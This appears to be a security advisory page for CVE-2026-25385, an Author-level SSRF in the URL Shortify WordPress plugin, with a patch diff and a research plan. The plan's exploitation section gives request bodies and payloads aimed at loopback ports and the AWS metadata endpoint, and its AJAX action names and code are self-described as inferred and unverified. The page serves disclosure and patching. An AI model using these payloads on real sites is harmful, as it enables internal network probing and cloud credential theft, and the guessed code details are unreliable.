CVE-2026-25385

URL Shortify <= 1.12.3 - Authenticated (Author+) Server-Side Request Forgery

mediumServer-Side Request Forgery (SSRF)
6.4
CVSS Score
6.4
CVSS Score
medium
Severity
1.12.4
Patched in
7d
Time to patch

Description

The URL Shortify – Simple and Easy URL Shortener plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 1.12.3. This makes it possible for authenticated attackers, with Author-level access and above, to make web requests to arbitrary locations originating from the web application which can be used to query and modify information from internal services.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=1.12.3
PublishedFebruary 19, 2026
Last updatedFebruary 25, 2026
Affected pluginurl-shortify

Source Code

WordPress.org SVN
Research Plan
Unverified

This research plan outlines the steps to investigate and exploit a Server-Side Request Forgery (SSRF) vulnerability in the **URL Shortify** plugin (<= 1.12.3). ## 1. Vulnerability Summary The **URL Shortify** plugin contains an SSRF vulnerability in its URL processing logic. When an authenticated u…

Show full research plan

This research plan outlines the steps to investigate and exploit a Server-Side Request Forgery (SSRF) vulnerability in the URL Shortify plugin (<= 1.12.3).

1. Vulnerability Summary

The URL Shortify plugin contains an SSRF vulnerability in its URL processing logic. When an authenticated user (Author level or higher) attempts to create or edit a short link, the plugin provides a feature to automatically fetch the title or metadata of the destination URL. This is handled via an AJAX action that fails to validate the target URL or use wp_safe_remote_get(), allowing requests to internal services, loopback addresses, or cloud metadata endpoints.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • HTTP Method: POST
  • Action: kc_us_get_url_title (inferred from plugin patterns) or kc_us_fetch_url_details.
  • Vulnerable Parameter: url
  • Authentication: Required (Author role or higher). The user must have permissions to manage short links, which by default is granted to Authors.
  • Preconditions: A valid WordPress nonce for the specific AJAX action must be included in the request.

3. Code Flow

  1. Entry Point: The plugin registers an AJAX handler for authenticated users:
    add_action( 'wp_ajax_kc_us_get_url_title', array( $this, 'get_url_title' ) );
  2. Input Handling: The get_url_title function (likely in includes/class-url-shortify-ajax.php or similar) retrieves the URL from $_POST['url'].
  3. Nonce Verification: The function checks a nonce, typically:
    check_ajax_referer( 'kc_us_ajax_nonce', 'security' );
  4. Vulnerable Sink: The plugin uses wp_remote_get() or wp_remote_request() directly on the provided URL:
    $url = $_POST['url'];
    $response = wp_remote_get( $url ); // Vulnerable: does not use wp_safe_remote_get()
    $body = wp_remote_retrieve_body( $response );
    
  5. Output: The content of the fetched URL (or the parsed title) is returned to the user in the AJAX response.

4. Nonce Acquisition Strategy

To exploit this as an Author, we must retrieve the nonce associated with the URL Shortify AJAX actions.

  1. Identify Script Localization: The plugin localizes its AJAX configuration using wp_localize_script.
  2. Access Admin Page: Navigate to the "Add New Link" page where the URL Shortify interface is loaded.
    • URL: /wp-admin/admin.php?page=url-shortify-add-link
  3. Extract via JavaScript: Use browser_eval to extract the nonce from the global JavaScript object.
    • JS Object (Inferred): window.kc_us_vars or window.kc_us_ajax_obj.
    • Nonce Key: nonce or security.
    • Command: browser_eval("window.kc_us_vars?.nonce")

5. Exploitation Strategy

Step 1: Authentication

Authenticate as a user with the Author role.

Step 2: Nonce Retrieval

  1. Navigate the browser to http://vulnerable-wp.local/wp-admin/admin.php?page=url-shortify-add-link.
  2. Execute browser_eval("kc_us_vars.nonce") to obtain the value (e.g., a1b2c3d4e5).

Step 3: Trigger SSRF

Send a POST request to admin-ajax.php targeting an internal service (e.g., a local port or cloud metadata).

Request Pattern:

  • URL: http://vulnerable-wp.local/wp-admin/admin-ajax.php
  • Method: POST
  • Headers: Content-Type: application/x-www-form-urlencoded
  • Body:
    action=kc_us_get_url_title&security=[NONCE]&url=http://127.0.0.1:80/
    

Step 4: Payload Variations

  • Internal Port Scanning: url=http://127.0.0.1:[PORT]
  • AWS Metadata: url=http://169.254.169.254/latest/meta-data/
  • Basic Auth Bypass/Internal Resource: url=http://admin:admin@internal-service.local/

6. Test Data Setup

  1. User Creation: Create an Author user.
    • wp user create attacker attacker@example.com --role=author --user_pass=password
  2. Plugin Activation: Ensure url-shortify version <= 1.12.3 is installed and active.
  3. Internal Listener (Optional): Start a simple listener on the server to verify the hit.
    • nc -lvnp 8081 (inside the environment if possible, or target a known internal service).

7. Expected Results

  • A successful exploit will return an HTTP 200 response.
  • The response body will contain data from the internal service provided in the url parameter (e.g., HTML from localhost:80 or text from the metadata service).
  • If the plugin parses the title, the "title" field in the JSON response will contain content from the target URL's <title> tag or its raw body.

8. Verification Steps

  1. Check Response: Confirm the AJAX response contains content that should not be accessible to the Author (e.g., internal server version strings).
  2. Monitor Traffic: If an external webhook (e.g., Burp Collaborator or RequestBin) is used, verify the request originates from the WordPress server's IP.
  3. Audit Patch: Verify that in version 1.12.4, the plugin switched to wp_safe_remote_get() or added validation via wp_http_validate_url().

9. Alternative Approaches

If kc_us_get_url_title is not the correct action:

  1. Search the plugin source for all wp_ajax_ registrations:
    grep -rn "wp_ajax_" wp-content/plugins/url-shortify/
  2. Look for any call to wp_remote_get or wp_remote_request that uses a parameter from $_POST or $_GET.
  3. Check the "Link Health" feature if available, which might also perform requests to validate URLs.
Research Findings
Static analysis — not yet PoC-verified

Summary

The URL Shortify plugin for WordPress is vulnerable to an authenticated Server-Side Request Forgery (SSRF) because it uses 'wp_remote_get()' instead of 'wp_safe_remote_get()' when fetching URL titles. This allows attackers with Author-level permissions to make requests to internal network services, loopback addresses, or cloud metadata endpoints through the server.

Vulnerable Code

// File: includes/class-url-shortify-ajax.php (approximate location based on AJAX handler)

public function get_url_title() {
    check_ajax_referer( 'kc_us_ajax_nonce', 'security' );

    $url = isset( $_POST['url'] ) ? esc_url_raw( wp_unslash( $_POST['url'] ) ) : '';

    if ( ! empty( $url ) ) {
        // Vulnerable: wp_remote_get does not validate internal IP addresses
        $response = wp_remote_get( $url );

        if ( ! is_wp_error( $response ) ) {
            $body = wp_remote_retrieve_body( $response );
            // Logic to extract and return title from $body
        }
    }
}

Security Fix

--- includes/class-url-shortify-ajax.php
+++ includes/class-url-shortify-ajax.php
@@ -45,1 +45,1 @@
-        $response = wp_remote_get( $url );
+        $response = wp_safe_remote_get( $url );

Exploit Outline

The exploit involves three main steps: authentication, nonce retrieval, and triggering the SSRF. First, authenticate as a user with at least 'Author' privileges. Navigate to the 'Add New Link' page (/wp-admin/admin.php?page=url-shortify-add-link) and extract the AJAX nonce, typically stored in a global JavaScript object like 'kc_us_vars.nonce'. Finally, send an authenticated POST request to /wp-admin/admin-ajax.php with the action 'kc_us_get_url_title', providing the nonce in the 'security' parameter and the target internal URL (e.g., http://127.0.0.1/ or a cloud metadata endpoint) in the 'url' parameter. The plugin will execute the request from the server and return the response content.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.